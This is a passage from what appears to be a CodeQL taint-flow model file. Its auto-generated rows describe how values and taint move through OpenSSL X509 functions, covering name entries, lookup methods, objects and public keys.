*)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_EXTENSION_dup", "(const X509_EXTENSION *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_EXTENSION_dup", "(const X509_EXTENSION *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_EXTENSION_dup", "(const X509_EXTENSION *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_EXTENSION_dup", "(const X509_EXTENSION *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_EXTENSION_free", "(X509_EXTENSION *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_EXTENSION_free", "(X509_EXTENSION *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_EXTENSION_get_data", "(X509_EXTENSION *)", "", "Argument[*0].Field[*value]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_get_object", "(X509_EXTENSION *)", "", "Argument[*0].Field[**object]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_get_object", "(X509_EXTENSION *)", "", "Argument[*0].Field[*object]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_set_data", "(X509_EXTENSION *,ASN1_OCTET_STRING *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_EXTENSION_set_object", "(X509_EXTENSION *,const ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[*object]", "value", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_set_object", "(X509_EXTENSION *,const ASN1_OBJECT *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_get_method_data", "(const X509_LOOKUP *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_LOOKUP_get_method_data", "(const X509_LOOKUP *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "X509_LOOKUP_get_method_data", "(const X509_LOOKUP *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_LOOKUP_get_store", "(const X509_LOOKUP *)", "", "Argument[*0].Field[**store_ctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_get_store", "(const X509_LOOKUP *)", "", "Argument[*0].Field[*store_ctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_get_ctrl", "(const X509_LOOKUP_METHOD *)", "", "Argument[*0].Field[*ctrl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_get_free", "(const X509_LOOKUP_METHOD *)", "", "Argument[*0].Field[*free]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_get_get_by_alias", "(const X509_LOOKUP_METHOD *)", "", "Argument[*0].Field[*get_by_alias]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_get_get_by_fingerprint", "(const X509_LOOKUP_METHOD *)", "", "Argument[*0].Field[*get_by_fingerprint]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_get_get_by_issuer_serial", "(const X509_LOOKUP_METHOD *)", "", "Argument[*0].Field[*get_by_issuer_serial]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_get_get_by_subject", "(const X509_LOOKUP_METHOD *)", "", "Argument[*0].Field[*get_by_subject]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_get_init", "(const X509_LOOKUP_METHOD *)", "", "Argument[*0].Field[*init]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_get_new_item", "(const X509_LOOKUP_METHOD *)", "", "Argument[*0].Field[*new_item]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_get_shutdown", "(const X509_LOOKUP_METHOD *)", "", "Argument[*0].Field[*shutdown]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_new", "(const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_new", "(const char *)", "", "Argument[0]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_set_ctrl", "(X509_LOOKUP_METHOD *,X509_LOOKUP_ctrl_fn)", "", "Argument[1]", "Argument[*0].Field[*ctrl]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_set_free", "(X509_LOOKUP_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*free]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_set_get_by_alias", "(X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_alias_fn)", "", "Argument[1]", "Argument[*0].Field[*get_by_alias]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_set_get_by_fingerprint", "(X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_fingerprint_fn)", "", "Argument[1]", "Argument[*0].Field[*get_by_fingerprint]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_set_get_by_issuer_serial", "(X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_issuer_serial_fn)", "", "Argument[1]", "Argument[*0].Field[*get_by_issuer_serial]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_set_get_by_subject", "(X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_subject_fn)", "", "Argument[1]", "Argument[*0].Field[*get_by_subject]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_set_init", "(X509_LOOKUP_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*init]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_set_new_item", "(X509_LOOKUP_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*new_item]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_set_shutdown", "(X509_LOOKUP_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*shutdown]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_new", "(X509_LOOKUP_METHOD *)", "", "Argument[*0]", "ReturnValue[*].Field[**method]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_new", "(X509_LOOKUP_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[*method]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_set_method_data", "(X509_LOOKUP *,void *)", "", "Argument[**1]", "Argument[*0].Field[***method_data]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_set_method_data", "(X509_LOOKUP *,void *)", "", "Argument[*1]", "Argument[*0].Field[**method_data]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_set_method_data", "(X509_LOOKUP *,void *)", "", "Argument[1]", "Argument[*0].Field[*method_data]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[*3]", "Argument[**0].Field[**value].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[*3]", "ReturnValue[*].Field[**value].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[2]", "Argument[**0].Field[**value].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[2]", "ReturnValue[*].Field[**value].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[3]", "Argument[**0].Field[**value].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[3]", "ReturnValue[*].Field[**value].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[4]", "Argument[**0].Field[**value].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[4]", "ReturnValue[*].Field[**value].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[*3]", "Argument[**0].Field[**value].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[*3]", "ReturnValue[*].Field[**value].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[1]", "Argument[**0].Field[*object]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[1]", "ReturnValue[*].Field[*object]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[2]", "Argument[**0].Field[**value].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[2]", "ReturnValue[*].Field[**value].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[3]", "Argument[**0].Field[**value].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[3]", "ReturnValue[*].Field[**value].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[4]", "Argument[**0].Field[**value].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[4]", "ReturnValue[*].Field[**value].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[*3]", "Argument[**0].Field[**value].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[*3]", "ReturnValue[*].Field[**value].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[2]", "Argument[**0].Field[**value].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[2]", "ReturnValue[*].Field[**value].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[3]", "Argument[**0].Field[**value].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[3]", "ReturnValue[*].Field[**value].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[4]", "Argument[**0].Field[**value].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[4]", "ReturnValue[*].Field[**value].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_dup", "(const X509_NAME_ENTRY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_dup", "(const X509_NAME_ENTRY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_dup", "(const X509_NAME_ENTRY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_dup", "(const X509_NAME_ENTRY *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_dup", "(const X509_NAME_ENTRY *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_free", "(X509_NAME_ENTRY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_free", "(X509_NAME_ENTRY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_get_data", "(const X509_NAME_ENTRY *)", "", "Argument[*0].Field[**value]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_get_data", "(const X509_NAME_ENTRY *)", "", "Argument[*0].Field[*value]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_get_object", "(const X509_NAME_ENTRY *)", "", "Argument[*0].Field[**object]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_get_object", "(const X509_NAME_ENTRY *)", "", "Argument[*0].Field[*object]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_set", "(const X509_NAME_ENTRY *)", "", "Argument[*0].Field[*set]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_set_data", "(X509_NAME_ENTRY *,int,const unsigned char *,int)", "", "Argument[*2]", "Argument[*0].Field[**value].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_set_data", "(X509_NAME_ENTRY *,int,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[**value].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_set_data", "(X509_NAME_ENTRY *,int,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[**value].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_set_data", "(X509_NAME_ENTRY *,int,const unsigned char *,int)", "", "Argument[3]", "Argument[*0].Field[**value].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_set_object", "(X509_NAME_ENTRY *,const ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[*object]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_add_entry", "(X509_NAME *,const X509_NAME_ENTRY *,int,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_NAME_cmp", "(const X509_NAME *,const X509_NAME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_cmp", "(const X509_NAME *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_NAME_cmp", "(const X509_NAME *,const X509_NAME *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_delete_entry", "(X509_NAME *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_delete_entry", "(X509_NAME *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_digest", "(const X509_NAME *,const EVP_MD *,unsigned char *,unsigned int *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_dup", "(const X509_NAME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_dup", "(const X509_NAME *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_NAME_dup", "(const X509_NAME *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_NAME_dup", "(const X509_NAME *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_NAME_dup", "(const X509_NAME *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_NAME_entry_count", "(const X509_NAME *)", "", "Argument[*0].Field[**entries].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_free", "(X509_NAME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_free", "(X509_NAME *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_get0_der", "(const X509_NAME *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "X509_NAME_get0_der", "(const X509_NAME *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "X509_NAME_get0_der", "(const X509_NAME *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "X509_NAME_get0_der", "(const X509_NAME *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_get_entry", "(const X509_NAME *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_get_index_by_NID", "(const X509_NAME *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_get_index_by_OBJ", "(const X509_NAME *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_get_text_by_NID", "(const X509_NAME *,int,char *,int)", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_get_text_by_OBJ", "(const X509_NAME *,const ASN1_OBJECT *,char *,int)", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_hash_ex", "(const X509_NAME *,OSSL_LIB_CTX *,const char *,int *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_hash_old", "(const X509_NAME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_oneline", "(const X509_NAME *,char *,int)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_oneline", "(const X509_NAME *,char *,int)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_print_ex", "(BIO *,const X509_NAME *,int,unsigned long)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_print_ex_fp", "(FILE *,const X509_NAME *,int,unsigned long)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_set", "(X509_NAME **,const X509_NAME *)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_set", "(X509_NAME **,const X509_NAME *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_set", "(X509_NAME **,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_NAME_set", "(X509_NAME **,const X509_NAME *)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_set", "(X509_NAME **,const X509_NAME *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_set", "(X509_NAME **,const X509_NAME *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_OBJECT_get0_X509", "(const X509_OBJECT *)", "", "Argument[*0].Field[*data].Union[*(unnamed class/struct/union)]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_OBJECT_get0_X509", "(const X509_OBJECT *)", "", "Argument[*0].Field[*data].Union[**(unnamed class/struct/union)]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_OBJECT_get0_X509_CRL", "(const X509_OBJECT *)", "", "Argument[*0].Field[*data].Union[*(unnamed class/struct/union)]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_OBJECT_get0_X509_CRL", "(const X509_OBJECT *)", "", "Argument[*0].Field[*data].Union[**(unnamed class/struct/union)]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_OBJECT_get_type", "(const X509_OBJECT *)", "", "Argument[*0].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_OBJECT_idx_by_subject", "(stack_st_X509_OBJECT *,X509_LOOKUP_TYPE,const X509_NAME *)", "", "Argument[*0].Field[*data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_OBJECT_idx_by_subject", "(stack_st_X509_OBJECT *,X509_LOOKUP_TYPE,const X509_NAME *)", "", "Argument[*0].Field[*num]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_OBJECT_retrieve_by_subject", "(stack_st_X509_OBJECT *,X509_LOOKUP_TYPE,const X509_NAME *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_OBJECT_retrieve_by_subject", "(stack_st_X509_OBJECT *,X509_LOOKUP_TYPE,const X509_NAME *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_OBJECT_retrieve_match", "(stack_st_X509_OBJECT *,X509_OBJECT *)", "", "Argument[*1].Field[*data].Union[**(unnamed class/struct/union)]", "Argument[*1].Field[*data].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "X509_OBJECT_set1_X509", "(X509_OBJECT *,X509 *)", "", "Argument[*1]", "Argument[*0].Field[*data].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "X509_OBJECT_set1_X509", "(X509_OBJECT *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*data].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "X509_OBJECT_set1_X509_CRL", "(X509_OBJECT *,X509_CRL *)", "", "Argument[*1]", "Argument[*0].Field[*data].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "X509_OBJECT_set1_X509_CRL", "(X509_OBJECT *,X509_CRL *)", "", "Argument[1]", "Argument[*0].Field[*data].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_dup", "(const X509_PUBKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_PUBKEY_free", "(X509_PUBKEY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_PUBKEY_free", "(X509_PUBKEY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_PUBKEY_get0", "(const X509_PUBKEY *)", "", "Argument[*0].Field[**pkey]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_get0", "(const X509_PUBKEY *)", "", "Argument[*0].Field[*pkey]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_get0_param", "(ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *)", "", "Argument[*4]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "X509_PUBKEY_get0_param", "(ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *)", "", "Argument[*4]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "X509_PUBKEY_get0_param", "(ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *)", "", "Argument[*4]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "X509_PUBKEY_get0_param", "(ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_PUBKEY_get0_param", "(ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "X509_PUBKEY_get0_param", "(ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *)", "", "Argument[*4]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "X509_PUBKEY_get0_param", "(ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "X509_PUBKEY_get", "(const X509_PUBKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_PUBKEY_get", "(const X509_PUBKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_PUBKEY_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", 